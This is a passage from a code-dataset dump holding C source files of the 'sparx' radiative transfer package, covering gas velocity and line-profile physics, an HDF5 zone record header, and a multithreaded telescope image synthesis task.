USE_CONST\n\tdouble velo = -0.2e3; // [km/s]\n #else\n //Just to disable the warnings\n (void)pos;\n\t#endif\n\n\t/* Get zone physics */\n\tpp = zone->data;\n\n\tswitch(zone->voxel.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\t#if USE_LVG\n\t\t\tradius = GeVec3_Mag(pos);\n\t\t\tv_gas = GeVec3_Normalize(pos);\n\t\t\tv_gas = GeVec3_Scale(&v_gas, 100.0e3 * radius); /* 100 km/s/pc velocity gradient */\n\t\t\t#elif USE_CONST\n\t\t\tv_gas = GeVec3_Normalize(pos);\n\t\t\tv_gas = GeVec3_Scale(&v_gas, velo); /* 100 km/s/pc velocity gradient */\n\t\t\t#else\n\t\t\t/* Project radial velocity onto position vector */\n\t\t\t//v_gas = GeVec3_Normalize(pos);\n\t\t\t//v_gas = GeVec3_Scale(&v_gas, GeVec3_X(pp->v_cen, 0));\n\t\t\tv_gas = pp->v_cen;\n\t\t\t#endif\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\t#if USE_LVG\n\t\t\t/* Analytic expression for LVG expanding cloud */\n\t\t\tv_gas = GeVec3_Sub(&zone->root->voxel.cen, pos);\n\t\t\tradius = GeVec3_Mag(&v_gas); /* [pc] */\n\t\t\tv_gas = GeVec3_Normalize(&v_gas); /* Direction vector */\n\t\t\tv_gas = GeVec3_Scale(&v_gas, 100.0e3 * radius); /* 100 km/s/pc velocity gradient */\n\t\t\t#elif USE_CONST\n\t\t\tv_gas = GeVec3_Sub(&zone->root->voxel.cen, pos);\n\t\t\tv_gas = GeVec3_Normalize(&v_gas); /* Direction vector */\n\t\t\tv_gas = GeVec3_Scale(&v_gas, velo);\n\t\t\t#else\n\t\t\t/* Obtain gas velocity from model grid */\n\t\t\tv_gas = pp->v_cen;\n\t\t\t#endif\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't reach here */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn v_gas;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpPhys_GetVfunc(const GeRay *ray, double dt, double v_los, const Zone *zone)\n/* Calculate projected velocity of ray in zone at offset dt. v_func is v_los\n * minus projected gas velocity -- this offsets v_los so that minus velocity\n * is blueshift and plus velocity is redshift. */\n{\n double vfunc = 0.0, phis = 0.0;\n GeRay offset_ray = GeRay_Inc(ray, dt);\n GeVec3_d v_gas = SpPhys_GetVgas(&offset_ray.e, zone);\n\n switch(zone->voxel.geom) {\n case GEOM_SPH1D:\n phis = GeRay_get_phis(ray);\n vfunc = v_los - GeVec3_X(v_gas, 0) * cos(phis);\n break;\n\n case GEOM_REC3D:\n vfunc = v_los - GeVec3_DotProd(&v_gas, &ray->d);\n break;\n\n default:\n Deb_ASSERT(0);\n break;\n }\n\n return vfunc;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpPhys_GetVfac(const GeRay *ray, double dt, double v_los, const Zone *zone, int debug)\n{\n\tSpPhys *pp = zone->data;\n\tsize_t i, j, n_step, n_avg;\n\tdouble v_0, v_1, s_0, s_1, s, v, vfac = 0, vfacsub = 0, vfacavg = 0;\n\n\t//debug\n\t//return Num_GaussNormal(SpPhys_GetVfunc(ray, dt, v_los, zone), pp->width);\n\n\t/* Number of steps is\n\t * \tdelta_v / width\n\t * \n\t * where delta_v = |v_1 - v_1|\n\t * width = local gaussian line width\n\t */\n\tv_0 = SpPhys_GetVfunc(ray, 0.0, v_los, zone);\n\tv_1 = SpPhys_GetVfunc(ray, dt, v_los, zone);\n\n\tn_step = Num_MAX((size_t)(fabs(v_1 - v_0) / pp->width), 1);\n\n\t//Deb_PRINT(\"dt=%g, v_0=%g, v_1=%g, n_step=%d\\n\", dt, v_0, v_1, n_step);\n\tDeb_P(\"[debug]v1=%16.2f v2=%16.2f nspline=%5zu\\n\", v_0, v_1, n_step);\n\n\tDeb_ASSERT(n_step > 0); /* Just in case */\n\n\t//Deb_PRINT(\"n_step=%d\\n\", (int)n_step);\n\n\tfor(i = 0; i < n_step; i++) {\n\t\t/* Check for velocity differences within each step\n\t\t * in case there are large variations */\n\t\ts_0 = dt * (double)i / (double)n_step;\n\t\ts_1 = dt * (double)(i + 1) / (double)n_step;\n\t\tv_0 = SpPhys_GetVfunc(ray, s_0, v_los, zone);\n\t\tv_1 = SpPhys_GetVfunc(ray, s_1, v_los, zone);\n\t\tn_avg = Num_MAX((size_t)(fabs(v_1 - v_0) / pp->width), 1);\n\t\tDeb_P(\"[debug]naver=%5zu\\n\", n_avg);\n\t\tDeb_ASSERT(n_avg > 0); /* Just in case */\n\n\t\t//Deb_PRINT(\" n_avg=%d\\n\", (int)n_step);\n\n\t\t/* Average line profile over n_avg */\n\t\tfor(j = 1; j <= n_avg; j++) {\n\t\t\ts = s_0 + (s_1 - s_0) * ((double)j - 0.5) / (double)n_avg;\n\t\t\tv = SpPhys_GetVfunc(ray, s, v_los, zone);\n\t\t\tvfacsub = Num_GaussNormal(v, pp->width);\n\t\t\tDeb_P(\"[debug]v=%16.9f b=%16.9f vfacsub=%16.9f\\n\", v, pp->width, vfacsub);\n\t\t\tvfac += vfacsub / (double)n_avg;\n\t\t}\n\t}\n\n\tvfacavg = vfac / (double)n_step;\n\n\t//debug\n\tif(debug) {\n\t\tprintf(\"zone=<%lu, %lu, %lu>, r=%g pc, dir=<%g, %g, %g>, v=%g km/s\\n\",\n\t\t\t(unsigned long)GeVec3_X(zone->index, 0), (unsigned long)GeVec3_X(zone->index, 1), (unsigned long)GeVec3_X(zone->index, 2),\n\t\t\tGeVec3_Mag2(&zone->parent->voxel.cen, &zone->voxel.cen),\n\t\t\tGeRay_D(*ray, 0), GeRay_D(*ray, 1), GeRay_D(*ray, 2),\n\t\t\tGeVec3_Mag(&pp->v_cen) / 1000.0);\n\t}\n\n\t//Deb_PRINT(\"getvfac done\\n\");\n\n\treturn vfacavg;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble _SpPhys_BoltzRatio(const Molec *mol, size_t up, size_t lo, double T_k)\n/* Calculate the Boltzmann ratio = (g_u / g_l) * exp(-(E_u - E_l) / (k * T_k))\n */\n{\n\tstatic double k = PHYS_CONST_MKS_BOLTZK;\n\tdouble\n\t\tg_u = mol->lev[up]->g,\n\t\tg_l = mol->lev[lo]->g,\n\t\tE_u = mol->lev[up]->E,\n\t\tE_l = mol->lev[lo]->E;\n\n\tDeb_ASSERT((up > lo) && (T_k > 0));\n\n\treturn (g_u / g_l) * exp(-(E_u - E_l) / (k * T_k));\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpPhys_CalcLineWidth(const SpPhys *pp)\n/* Calculate total line width accounting for both thermal and\n * turbulent motion, where V_t is the RMS turbulent velocity. */\n{\n\tdouble V_th, V_t;\n\n\tV_th = Phys_ThermLineWidth(pp->T_k, pp->mol->weight);\n\tV_t = pp->V_t;\n\n\treturn sqrt(V_th * V_th + V_t * V_t);\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define STACK(i, j)\\\n\tstack[(j) + nlev * (i)]\n\nvoid SpPhys_PushPopsStack(double *stack, size_t nstack, double *pops, size_t nlev)\n{\n\tsize_t i, j, dest_id;\n\n\t/* Stack:\n\t *\n\t *\t1*\t2\t3\n\t *-----------------------------\n\t *\t11\t21\t31\n\t *\t12\t22\t32\n\t *\t13\t23\t33\n\t *\t14\t24\t34\n\t */\n\n\tfor(i = 0; i < nlev; i++) {\n\t\tfor(j = 0; j < nstack; j++) {\n\t\t\tdest_id = (nstack - 1) - j;\n\t\t\tif(dest_id == 0) {\n\t\t\t\tSTACK(dest_id, i) = pops[i];\n\t\t\t}\n\t\t\telse {\n\t\t\t\tSTACK(dest_id, i) = STACK(dest_id - 1, i);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpPhys_CalcPopsDiff(const double *stack, size_t nstack, size_t nlev, double minpop)\n{\n\tsize_t i, j;\n\tdouble *pops, *diffs, *max_diffs, mean, max_diff;\n\n\tpops = Mem_CALLOC(nstack, pops);\n\tdiffs = Mem_CALLOC(nstack, diffs);\n\tmax_diffs = Mem_CALLOC(nlev, max_diffs);\n\n\tfor(i = 0; i < nlev; i++) {\n\t\tmean = 0;\n\t\tfor(j = 0; j < nstack; j++) {\n\t\t\t/* Load pops for sorting */\n\t\t\tpops[j] = STACK(j, i);\n\n\t\t\t/* Accumulate mean for later use */\n\t\t\tmean += pops[j];\n\t\t}\n\t\tNum_Qsort_d(pops, nstack);\n\n\t\t/* Calculate variance if smallest pops is\n\t\t * greater than or euqal to minpop */\n\t\tif(pops[0] >= minpop) {\n\t\t\t/* Calculate mean */\n\t\t\tmean /= (double)nstack;\n\n\t\t\t/* Variance is relative difference from mean */\n\t\t\tfor(j = 0; j < nstack; j++) {\n\t\t\t\tdiffs[j] = fabs(STACK(j, i) - mean) / mean;\n\t\t\t}\n\t\t\tNum_Qsort_d(diffs, nstack);\n\n\t\t\t/* Maximum variance for this level */\n\t\t\tmax_diffs[i] = diffs[nstack - 1];\n\t\t}\n\t}\n\t/* Find Maximum variance of entire stack */\n\tNum_Qsort_d(max_diffs, nlev);\n\tmax_diff = max_diffs[nlev - 1];\n\t\n\tfree(pops);\n\tfree(diffs);\n\tfree(max_diffs);\n\n\treturn max_diff;\n}\n\n#undef STACK\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6497524976730347, "alphanum_fraction": 0.6856435537338257, "avg_line_length": 24.25, "blob_id": "de2cdee9c94d0dc7bf33d3692d6e30199bbd359d", "content_id": "9c21ab64097570743b2e082408873fcbbaa2475a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 808, "license_type": "no_license", "max_line_length": 101, "num_lines": 32, "path": "/src/zone-hdf5.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __ZONE_HDF5_H__\n#define __ZONE_HDF5_H__\n\n#include <hdf5.h>\n\n#define ZoneH5_GEOMLEN ((size_t)6)\n#define ZoneH5_KAPPLEN ((size_t)64)\n\n/* This structure is used only by this function,\n * so make it private */\ntypedef struct ZoneH5_Record {\n\tint level;\n\tlong pos;\n\tchar geom[ZoneH5_GEOMLEN];\n\tdouble max[3], min[3], cen[3];\n\tdouble n_H2, T_k, X_mol, X_pH2, X_oH2, X_e, X_H, X_He, V_t;\n\tdouble vedge[6][3];\n\tdouble v_cen[3];\n\tdouble ds; /* Average path length */\n\tlong nchildren;\n\tlong naxes[3];\n\tdouble T_d;\n\tchar kapp_d[ZoneH5_KAPPLEN];\n\tdouble T_ff;\n\tchar kapp_ff[ZoneH5_KAPPLEN];\n\tdouble T_bb;\n} ZoneH5_Record;\n\nint ZoneH5_FwriteTable(hid_t h5f_id, const char *name, const ZoneH5_Record *records, size_t nrecord);\nint ZoneH5_FreadTable(hid_t h5f_id, const char *name, ZoneH5_Record *records);\n\n#endif\n" }, { "alpha_fraction": 0.5670557022094727, "alphanum_fraction": 0.575302243232727, "avg_line_length": 25.66231346130371, "blob_id": "bf893d211ec46a2c40611b6734ac9a6116128764", "content_id": "f924e3704481686aaeba9fd79c6690d4e0255abe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 14309, "license_type": "no_license", "max_line_length": 113, "num_lines": 536, "path": "/src/sparx-task-telsim.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tint test, cont;\n\tDatINode *unit;\n\tdouble ucon;\n\tMirImg_Axis x, y, v;\n\tMirImg *xyv_img, *tau_img;\n\tdouble dist, rotate[3], I_norm, I_cmb;\n\tchar *imgname;\n\tMirFile *xyv_imgf, *tau_imgf;\n\tSpModel model;\n\tsize_t line;\n\tdouble lamb, freq;\n\tsize_t nsubres;\n\tstruct {\n\t\tdouble blc_x, blc_y, trc_x, trc_y;\n\t\tsize_t nsub;\n\t} *subres;\n} glb;\n\nenum {\n\tUNIT_K,\n\tUNIT_JYPX\n};\n\nstatic DatINode UNITS[] = {\n\t{\"K\", UNIT_K},\n\t{\"JY/PIXEL\", UNIT_JYPX},\n\t{0, 0}\n};\n\n/* Subroutine prototypes */\nstatic int InitModel(void);\nstatic void *InitModelThread(void *tid_p);\nstatic int CalcImage(void);\nstatic void *CalcImageThread(void *tid_p);\nstatic void RadiativeXfer(double dx, double dy, double *I_nu, double *tau_nu);\n\n/*----------------------------------------------------------------------------*/\n\nint SpTask_Telsim(void)\n{\n\tsize_t i;\n\tint sts = 0;\n\tPyObject *o, *o1, *o2;\n\n\t/*\n\t * Inputs\n\t */\n\t/* Reset parms */\n\tMem_BZERO(&glb);\n\n\t/* npix */\n\tif(!sts && !(sts = SpPy_GetInput_PyObj(\"npix\", &o))) {\n\t\tglb.x.n = Sp_PYSIZE(Sp_PYLST(o, 0));\n\t\tglb.x.crpix = MirWr_CRPIX(glb.x.n);\n\t\tglb.y.n = Sp_PYSIZE(Sp_PYLST(o, 1));\n\t\tglb.y.crpix = MirWr_CRPIX(glb.y.n);\n\t\tSpPy_XDECREF(o);\n\t}\n\n\t/* cell */\n\tif(!sts && !(sts = SpPy_GetInput_PyObj(\"cell\", &o))) {\n\t\tglb.x.delt = Sp_PYDBL(Sp_PYLST(o, 0));\n\t\tglb.y.delt = Sp_PYDBL(Sp_PYLST(o, 1));\n\t\tSpPy_XDECREF(o);\n\t}\n\n\t/* chan */\n\tif(!sts && !(sts = SpPy_GetInput_PyObj(\"chan\", &o))) {\n\t\tglb.v.n = Sp_PYSIZE(Sp_PYLST(o, 0));\n\t\tglb.v.crpix = MirWr_CRPIX(glb.v.n);\n\t\tglb.v.delt = Sp_PYDBL(Sp_PYLST(o, 1));\n\t\tSpPy_XDECREF(o);\n\t}\n\n\t/* rotate */\n\tif(!sts && !(sts = SpPy_GetInput_PyObj(\"rotate\", &o))) {\n\t\tglb.rotate[0] = Sp_PYDBL(Sp_PYLST(o, 0));\n\t\tglb.rotate[1] = Sp_PYDBL(Sp_PYLST(o, 1));\n\t\tglb.rotate[2] = Sp_PYDBL(Sp_PYLST(o, 2));\n\t\tSpPy_XDECREF(o);\n\t}\n\n\t/* subres */\n\tif(!sts && !(sts = SpPy_GetInput_PyObj(\"subres\", &o))) {\n\t\tif(o != Py_None) {\n\t\t\t/* Get number of boxes */\n\t\t\tglb.nsubres = (size_t)PyList_Size(o);\n\t\t\tglb.subres = Mem_CALLOC(glb.nsubres, glb.subres);\n\t\t\tfor(i = 0; i < glb.nsubres; i++) {\n\t\t\t\to1 = PyList_GetItem(o, (Py_ssize_t)i);\n\t\t\t\tglb.subres[i].blc_x = Sp_PYDBL(PyList_GetItem(o1, (Py_ssize_t)0));\n\t\t\t\tglb.subres[i].blc_y = Sp_PYDBL(PyList_GetItem(o1, (Py_ssize_t)1));\n\t\t\t\tglb.subres[i].trc_x = Sp_PYDBL(PyList_GetItem(o1, (Py_ssize_t)2));\n\t\t\t\tglb.subres[i].trc_y = Sp_PYDBL(PyList_GetItem(o1, (Py_ssize_t)3));\n\t\t\t\tglb.subres[i].nsub = Sp_PYSIZE(PyList_GetItem(o1, (Py_ssize_t)4));\n\t\t\t}\n\t\t}\n\t\tSpPy_XDECREF(o);\n\t}\n\n\t/* source */\n\tif(!sts) {\n\t\tsts = SpPy_GetInput_model(\"source\", &glb.model);\n\t}\n\n\t/* obs */\n\tif(!sts && !(sts = SpPy_GetInput_PyObj(\"obs\", &o))) {\n\t\to1 = PyObject_GetAttrString(o, \"cont\");\n\t\to2 = PyObject_GetAttrString(o, \"data\");\n\t\t/* Temporary measure */\n\t\tDeb_ASSERT(o1 != NULL);\n\t\tDeb_ASSERT(o2 != NULL);\n\t\tglb.cont = Sp_PYINT(o1);\n\t\tif(glb.cont) {\n\t\t\tglb.lamb = Sp_PYDBL(o2);\n\t\t\tglb.freq = PHYS_CONST_MKS_LIGHTC / glb.lamb;\n\t\t}\n\t\telse {\n\t\t\tDeb_ASSERT(glb.model.parms.mol != NULL);\n\t\t\tglb.line = Sp_PYSIZE(o2);\n\t\t\tglb.freq = glb.model.parms.mol->rad[glb.line]->freq;\n\t\t\tglb.lamb = PHYS_CONST_MKS_LIGHTC / glb.freq;\n\t\t\tDeb_ASSERT(glb.line < glb.model.parms.mol->nrad);\n\t\t}\n\t\tSpPy_XDECREF(o1);\n\t\tSpPy_XDECREF(o2);\n\t\tSpPy_XDECREF(o);\n\t}\n\n\tif(!sts && !(sts = SpPy_GetInput_PyObj(\"unit\", &o))) {\n\t\t/* unit */\n\t\tglb.unit = Dat_IList_NameLookup(UNITS, Sp_PYSTR(o));\n\t\tDeb_ASSERT(glb.unit != NULL);\n\t\tif(glb.unit->idx == UNIT_K)\n\t\t\tglb.ucon = Phys_RayleighJeans(glb.freq, 1.0);\n\t\telse if(glb.unit->idx == UNIT_JYPX)\n\t\t\tglb.ucon = (PHYS_UNIT_MKS_JY / (glb.x.delt * glb.y.delt));\n\t\telse\n\t\t\tDeb_ASSERT(0);\n\t\t/* Sanity check */\n\t\tDeb_ASSERT((glb.ucon > 0) && (!Num_ISNAN(glb.ucon)) && (glb.ucon < HUGE_VAL));\n\t\tSpPy_XDECREF(o);\n\n\t}\n\t/* dist */\n\tif(!sts) sts = SpPy_GetInput_dbl(\"dist\", &glb.dist);\n\n\t/* out (mandatory) */\n\tif(!sts) sts = SpPy_GetInput_mirxy_new(\"out\", glb.x.n, glb.y.n, glb.v.n, &glb.xyv_imgf);\n\n\t/* tau (optional) */\n\tif(!sts && SpPy_CheckOptionalInput(\"tau\")) {\n\t\tsts = SpPy_GetInput_mirxy_new(\"tau\", glb.x.n, glb.y.n, glb.v.n, &glb.tau_imgf);\n\t}\n\n\t/*\n\t * Initialize model\n\t */\n\tif(!sts) sts = InitModel();\n\n\t/*\n\t * Synthesize image\n\t */\n\tif(!sts) {\n\t\t/* Allocate image */\n\t\tglb.xyv_img = MirImg_Alloc(glb.x, glb.y, glb.v);\n\t\tglb.xyv_img->restfreq = glb.freq;\n\n\t\tif(glb.tau_imgf)\n\t\t\tglb.tau_img = MirImg_Alloc(glb.x, glb.y, glb.v);\n\n\t\t/* Calculate image */\n\t\tsts = CalcImage();\n\t}\n\n\tif(!sts) {\n\t\t/* Denormalize and convert image to proper units, then write cube to\n\t\t Miriad image dataset */\n\t\tMirImg_WriteXY(glb.xyv_imgf, glb.xyv_img, glb.unit->name, glb.I_norm/glb.ucon);\n\t\t//MirWr_WriteImgCube(glb.xyv_imgf->tno, &glb.x, &glb.y, &glb.v, glb.unit->name, glb.I_norm/glb.ucon, glb.cube);\n\n\t\tif(glb.tau_imgf)\n\t\t\tMirImg_WriteXY(glb.tau_imgf, glb.tau_img, \"Optical depth\", 1.0);\n\t}\n\n\tif(!sts)\n\t\tSp_PRINT(\"Wrote Miriad image to `%s'\\n\", glb.xyv_imgf->name);\n\n\t/*\n\t * Cleanup\n\t */\n\tif(glb.xyv_img)\n\t\tMirImg_Free(glb.xyv_img);\n\n\tif(glb.tau_img)\n\t\tMirImg_Free(glb.tau_img);\n\n\tif(glb.imgname)\n\t\tfree(glb.imgname);\n\n\tif(glb.subres)\n\t\tfree(glb.subres);\n\n\tSpModel_Cleanup(glb.model);\n\n\t/* Miriad images must always be closed! */\n\tif(glb.xyv_imgf)\n\t\tMirXY_Close(glb.xyv_imgf);\n\n\tif(glb.tau_imgf)\n\t\tMirXY_Close(glb.tau_imgf);\n\n\treturn sts;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int InitModel(void)\n{\n\tZone *root = glb.model.grid, *zp;\n\tSpPhys *pp;\n\tint sts = 0;\n\n\t/* Set normalization intensity to 20K -- normalization prevents rounding\n\t errors from creeping in when flux values are very small */\n\tglb.I_norm = Phys_PlanckFunc(glb.freq, 20.0);\n\tDeb_ASSERT(glb.I_norm > 0); /* Just in case */\n\n\t/* Calculate CMB intensity */\n\tif(glb.model.parms.T_cmb > 0) {\n\t\tglb.I_cmb = Phys_PlanckFunc(glb.freq, glb.model.parms.T_cmb);\n\t\tDeb_ASSERT(glb.I_cmb > 0); /* Just in case */\n\n\t\t/* Normalize CMB */\n\t\tglb.I_cmb /= glb.I_norm;\n\t}\n\n\tfor(zp = Zone_GetMinLeaf(root); zp; zp = Zone_AscendTree(zp)) {\n\t\t/* Pointer to physical parameters */\n\t\tpp = zp->data;\n\n\t\tif((pp->n_H2 > 0) && !zp->children) {\n\t\t\t/* This is a non-empty leaf zone */\n\t\t\tpp->non_empty_leaf = 1;\n\n\t\t\tif(pp->X_mol > 0) {\n\t\t\t\t/* This zone contains tracer molecules */\n\t\t\t\tpp->has_tracer = 1;\n\t\t\t}\n\t\t}\n\t}\n\n\tsts = SpUtil_Threads2(Sp_NTHREAD, InitModelThread);\n\t//SpUtil_Threads(InitModelThread);\n\n\treturn sts;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *InitModelThread(void *tid_p)\n{\n\tsize_t tid = *((size_t *)tid_p), zone_id;\n\tZone *root = glb.model.grid, *zp;\n\tSpPhys *pp;\n\n\tfor(zp = Zone_GetMinLeaf(root), zone_id = 0; zp; zp = Zone_AscendTree(zp), zone_id++) {\n\t\tif(zone_id % Sp_NTHREAD == tid) {\n\t\t\t/* Check for thread termination */\n\t\t\tSp_CHECKTERMTHREAD();\n\n\t\t\t/* Init zone parameters */\n\t\t\tpp = zp->data;\n\n\t\t\tif(glb.cont) {\n\t\t\t\tSpPhys_InitContWindows(pp, &glb.freq, (size_t)1);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tpp->width = SpPhys_CalcLineWidth(pp);\n\t\t\t}\n\n\t\t\t/* Add dust emission/absorption if T_d > 0 */\n\t\t\tif(pp->T_d > 0) {\n\t\t\t\tSpPhys_AddContinuum_d(pp, glb.cont, glb.model.parms.gas_to_dust);\n\t\t\t}\n\n\t\t\t/* Add free-free emission/absorption if T_ff > 0 */\n\t\t\tif(pp->T_ff > 0) {\n\t\t\t\tSpPhys_AddContinuum_ff(pp, glb.cont);\n\t\t\t}\n\n\t\t\t/* Set continuum flux */\n\t\t\tif(pp->T_bb > 0) {\n\t\t\t\t//debug\n\t\t\t\tSpPhys_SetContinuumIntens_bb(pp, glb.cont, pp->T_bb, glb.I_norm);\n\t\t\t\tDeb_PRINT(\"T_bb=%g, F_nu=%g\\n\", pp->T_bb, pp->cont[0].I_bb);\n\t\t\t}\n\t\t}\n\t}\n\n\tpthread_exit(NULL);\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int CalcImage(void)\n{\n\treturn SpUtil_Threads2(Sp_NTHREAD, CalcImageThread);\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *CalcImageThread(void *tid_p)\n{\n\tsize_t tid = *((size_t *)tid_p), pix_id, ix, iy, iv, nsub, isub, jsub, ibox;\n\tdouble dx, dy, subix, subiy, *I_sub, *I_nu, *tau_sub, *tau_nu;\n\n\t/* pix_id is used for distributing work to threads */\n\tpix_id = 0;\n\n\tfor(ix = 0; ix < glb.x.n; ix++) {\n\t\tfor(iy = 0; iy < glb.y.n; iy++) {\n\t\t\tif(pix_id % Sp_NTHREAD == tid) {\n\t\t\t\t/* Check for thread termination */\n\t\t\t\tSp_CHECKTERMTHREAD();\n\n\t\t\t\t/* Determine angular offsets from the pointing center */\n\t\t\t\tdx = ((int)ix - (int)glb.x.crpix) * glb.x.delt;\n\t\t\t\tdy = ((int)iy - (int)glb.y.crpix) * glb.y.delt;\n\n\t\t\t\t/* nsub is by default 1 */\n\t\t\t\tnsub = 1;\n\n\t\t\t\t/* Check if position is within any of the subres boxes */\n\t\t\t\tfor(ibox = 0; ibox < glb.nsubres; ibox++) {\n\t\t\t\t\tif((dx >= glb.subres[ibox].blc_x) && (dx <= glb.subres[ibox].trc_x) &&\n\t\t\t\t\t (dy >= glb.subres[ibox].blc_y) && (dy <= glb.subres[ibox].trc_y)) {\n\t\t\t\t\t\t/* Position within subres box, set nsub to subres[ibox].nsub */\n\t\t\t\t\t\tnsub = glb.subres[ibox].nsub;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t/* I_nu is the brightness for all channels at pixel (ix, iy) */\n\t\t\t\tI_nu = Mem_CALLOC(glb.v.n, I_nu);\n\n\t\t\t\t/* tau_nu is the total optical depth for all channels at pixel (ix, iy) */\n\t\t\t\ttau_nu = Mem_CALLOC(glb.v.n, tau_nu);\n\n\t\t\t\t/* Loop through sub-resolution positions */\n\t\t\t\tfor(isub = 0; isub < nsub; isub++) {\n\t\t\t\t\tfor(jsub = 0; jsub < nsub; jsub++) {\n\t\t\t\t\t\t/* I_sub is the brightness for all channels at each sub-resolution */\n\t\t\t\t\t\tI_sub = Mem_CALLOC(glb.v.n, I_sub);\n\t\t\t\t\t\ttau_sub = Mem_CALLOC(glb.v.n, tau_sub);\n\n\t\t\t\t\t\t/* Determine sub-resolution angular offsets from the pointing center */\n\t\t\t\t\t\tsubix = (double)ix + ((double)isub) / (double)nsub;\n\t\t\t\t\t\tsubiy = (double)iy + ((double)jsub) / (double)nsub;\n\t\t\t\t\t\tdx = (subix - (double)glb.x.crpix) * glb.x.delt;\n\t\t\t\t\t\tdy = (subiy - (double)glb.y.crpix) * glb.y.delt;\n\n\t\t\t\t\t\t/* Calculate radiative transfer for this sub-los */\n\t\t\t\t\t\tRadiativeXfer(dx, dy, I_sub, tau_sub);\n\n\t\t\t\t\t\t/* Add I_sub to I_nu */\n\t\t\t\t\t\tfor(iv = 0; iv < glb.v.n; iv++) {\n\t\t\t\t\t\t\tI_nu[iv] += I_sub[iv];\n\t\t\t\t\t\t\ttau_nu[iv] += tau_sub[iv];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t/* Cleanup */\n\t\t\t\t\t\tfree(I_sub);\n\t\t\t\t\t\tfree(tau_sub);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t/* Save averaged I_nu to map */\n\t\t\t\tfor(iv = 0; iv < glb.v.n; iv++) {\n\t\t\t\t\tMirImg_PIXEL(*glb.xyv_img, iv, ix, iy) = I_nu[iv] / (double)(nsub * nsub);\n\n\t\t\t\t\tif(glb.tau_img)\n\t\t\t\t\t\tMirImg_PIXEL(*glb.tau_img, iv, ix, iy) = tau_nu[iv] / (double)(nsub * nsub);\n\t\t\t\t}\n\n\t\t\t\t/* Cleanup */\n\t\t\t\tfree(I_nu);\n\t\t\t\tfree(tau_nu);\n\t\t\t}\n\t\t\t/* Increment pix_id */\n\t\t\tpix_id += 1;\n\t\t}\n\t}\n\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void RadiativeXfer(double dx, double dy, double *I_nu, double *tau_nu)\n{\n\tGeRay ray;\n\tdouble dv, theta, phi, t, vfac, j_nu, k_nu, S_nu, dtau_nu;\n\tSpPhys *pp;\n\tsize_t iv, side;\n\tZone *zp, *root = glb.model.grid;\n\n\t/* Reset ray */\n\tMem_BZERO(&ray);\n\n\t/* Init ray position to <dist, 0, 0> */\n\tGeRay_E(ray, 0) = glb.dist / Sp_LENFAC;\n\tGeRay_E(ray, 1) = 0;\n\tGeRay_E(ray, 2) = 0;\n\n\t/* Set direction of ray according to pixel position:\n\t * theta = PI/2 + dy\n\t * phi = -dx\n\t */\n\tphi = -dx;\n\ttheta = (PI / 2.0) + dy;\n\n\t/* Convert to Cartesian coordinates */\n\tGeRay_D(ray, 0) = sin(theta) * cos(phi);\n\tGeRay_D(ray, 1) = sin(theta) * sin(phi);\n\tGeRay_D(ray, 2) = cos(theta);\n\n\t/* Rotate ray:\n\t * Since what we REALLY want to rotate is the model and that the rays\n\t * are pointed towards the model, rays should be rotated in the negative\n\t * direction, and in the opposite order of what we would've done to\n\t * rotate the model. */\n\tray = GeRay_Rotate(&ray, 2, -glb.rotate[2]);\n\tray = GeRay_Rotate(&ray, 1, -glb.rotate[1]);\n\tray = GeRay_Rotate(&ray, 0, -glb.rotate[0]);\n\n\t/* Coordinate-dependent offset */\n\tswitch(root->voxel.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tray.e = GeVec3_Add(&ray.e, &root->voxel.cen);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't reach here */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\t/* Reset tau for all channels */\n\tMem_BZERO2(tau_nu, glb.v.n);\n\n\t/* Shoot ray at model and see what happens! */\n\tif(GeRay_IntersectVoxel(&ray, &root->voxel, &t, &side)) {\n\t\t/* Calculate intersection */\n\t\tray = GeRay_Inc(&ray, t);\n\n\t\t/* Locate starting leaf zone according to intersection */\n\t\tzp = Zone_GetLeaf(root, side, &ray.e);\n\n\t\t/* Keep going until there's no next zone to traverse to */\n\t\twhile(zp) {\n\t\t\t/* Calculate path to next boundary */\n\t\t\tGeRay_TraverseVoxel(&ray, &zp->voxel, &t, &side);\n\n\t\t\t/* Pointer to physical parameters associated with this zone */\n\t\t\tpp = zp->data;\n\n\t\t\t/* Do radiative transfer only if gas is present in this zone */\n\t\t\tif(pp->non_empty_leaf) {\n\t\t\t\t/* Do calculations on all channels at this pixel. Try to minimize the \n\t\t\t\t * amount of operations in this loop, since everything here is repeated \n\t\t\t\t * for ALL channels, and can significantly increase computation time.\n\t\t\t\t */\n\t\t\t\tfor(iv = 0; iv < glb.v.n; iv++) {\n\t\t\t\t\t/* Calculate velocity associated with this channel */\n\t\t\t\t\tdv = ((double)iv - glb.v.crpix) * glb.v.delt;\n\n\t\t\t\t\t/* Reset emission and absorption coeffs */\n\t\t\t\t\tj_nu = 0;\n\t\t\t\t\tk_nu = 